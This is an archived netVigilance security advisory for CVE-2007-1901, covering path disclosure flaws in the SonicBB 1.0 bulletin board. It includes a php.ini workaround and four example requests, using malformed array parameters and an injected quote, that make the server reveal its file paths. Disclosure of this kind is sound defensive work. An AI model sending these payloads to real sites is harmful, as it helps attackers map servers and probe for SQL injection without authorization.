TUCoPS :: Web BBS :: etc :: tb10868.htm

SonicBB version 1.0 Multiple Path Disclosure Vulnerabilities
SonicBB version 1.0 Multiple Path Disclosure Vulnerabilities
SonicBB version 1.0 Multiple Path Disclosure Vulnerabilities



	netVigilance Security Advisory #18

SonicBB version 1.0 Multiple Path Disclosure Vulnerabilities 

Description:
SonicBB is a user-friendly and fully customizable bulletin board package. SonicBB is compatible with any web server/operating system combo with PHP 4.x or higher installed.SonicBB is the ideal community software for all sites.

This vulnerabilities can be exploited only when PHP magic_quotes_gpc = Off.

External References: 
Mitre CVE:  CVE-2007-1901
NVD NIST: CVE-2007-1901
OSVDB: 33906

Summary: 
SonicBB is a user-friendly and fully customizable bulletin board package. SonicBB is compatible with any web server/operating system combo with PHP 4.x or higher installed. SonicBB is the ideal community software for all sites.  
Security problems in the product allow attackers to gather the true path of the server-side script. 

Advisory URL: 
http://www.netvigilance.com/advisory0018 

Release Date:
05/14/2007 

Severity:
Risk: Low
 
CVSS Metrics
Access Vector: Remote
Access Complexity: High
Authentication: Not-required
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
Impact Bias: Normal
CVSS Base Score: 1.86
 
Target Distribution on Internet: Low
 
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Confirmed
 
Vulnerability Impact: Attack
Host Impact: Path disclosure.
SecureScout Testcase ID:
TC 17946
Vulnerable Systems:
SonicBB version 1.0

Vulnerability Type:
Program flaw - The search.php, viewforum.php and members.php scripts has flaws which lead to a Warning or even Fatal Errors.

Vendor:
iScripts
Vendor Status: 
Contact with the Vendor was established and draft of the security advisory was provided on 10 April  2007, the vendor promised to fix the issue but stopped responding to our emails on 10 April  2007. There is no official fix at the release of this Security Advisory 
Workaround:
To prevent path disclosure attacks following steps should be done:
Disable warning messages: modify in the php.ini file following line: display_errors = Off. Or modify .htaccess file (this will work only for the apache servers). 
Example: 
Path Disclosure Vulnerability 1:
REQUEST:
http://[TARGET]/[PRODUCT-DIRECTORY]/search.php?query=1&part=post& 
order=title&by[]=desc
REPLY:
Warning:  mysql_num_rows(): supplied argument is not a valid MySQL result resource in [DISCLOSED PATH]\[PRODUCT-DIRECTORY]\search.php on line 27
... Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in [DISCLOSUR PATH]\[PRODUCT-DIRECTORY]\search.php on line 36
Path Disclosure Vulnerability 2: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/viewforum.php?p[]=1 REPLY: Fatal error: Unsupported operand types in [DISCLOSED PATH]\[PRODUCT-DIRECTORY]\viewforum.php on line 6
Path Disclosure Vulnerability 3: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/viewforum.php?id='; REPLY: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in [DISCLOSED PATH]\[PRODUCT-DIRECTORY]\viewforum.php on line 12
... Warning: Cannot modify header information - headers already sent by (output started at [DISCLOSED PATH]\[PRODUCT-DIRECTORY]\viewforum.php:12) in [DISCLOSED PATH]\[PRODUCT-DIRECTORY]\viewforum.php on line 16
... Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in [DISCLOSED PATH]\[PRODUCT-DIRECTORY]\viewforum.php on line 27
... Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in [DISCLOSED PATH]\[PRODUCT-DIRECTORY]\viewforum.php on line 32

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in [DISCLOSED PATH]\[PRODUCT-DIRECTORY]\viewforum.php on line 46
Path Disclosure Vulnerability 4: REQUEST: http://[TARGET]/[PRODUCT-DIRECTORY]/members.php?id='; REPLY: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in [DISCLOSED PATH]\[PRODUCT-DIRECTORY]\members.php on line 8
... Warning: Cannot modify header information - headers already sent by (output started at [DISCLOSED PATH]\[PRODUCT-DIRECTORY]\members.php:8) in [DISCLOSED PATH]\[PRODUCT-DIRECTORY]\members.php on line b>10

Credits: Jesper Jurcenoks Co-founder netVigilance, Inc www.netvigilance.com =09

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH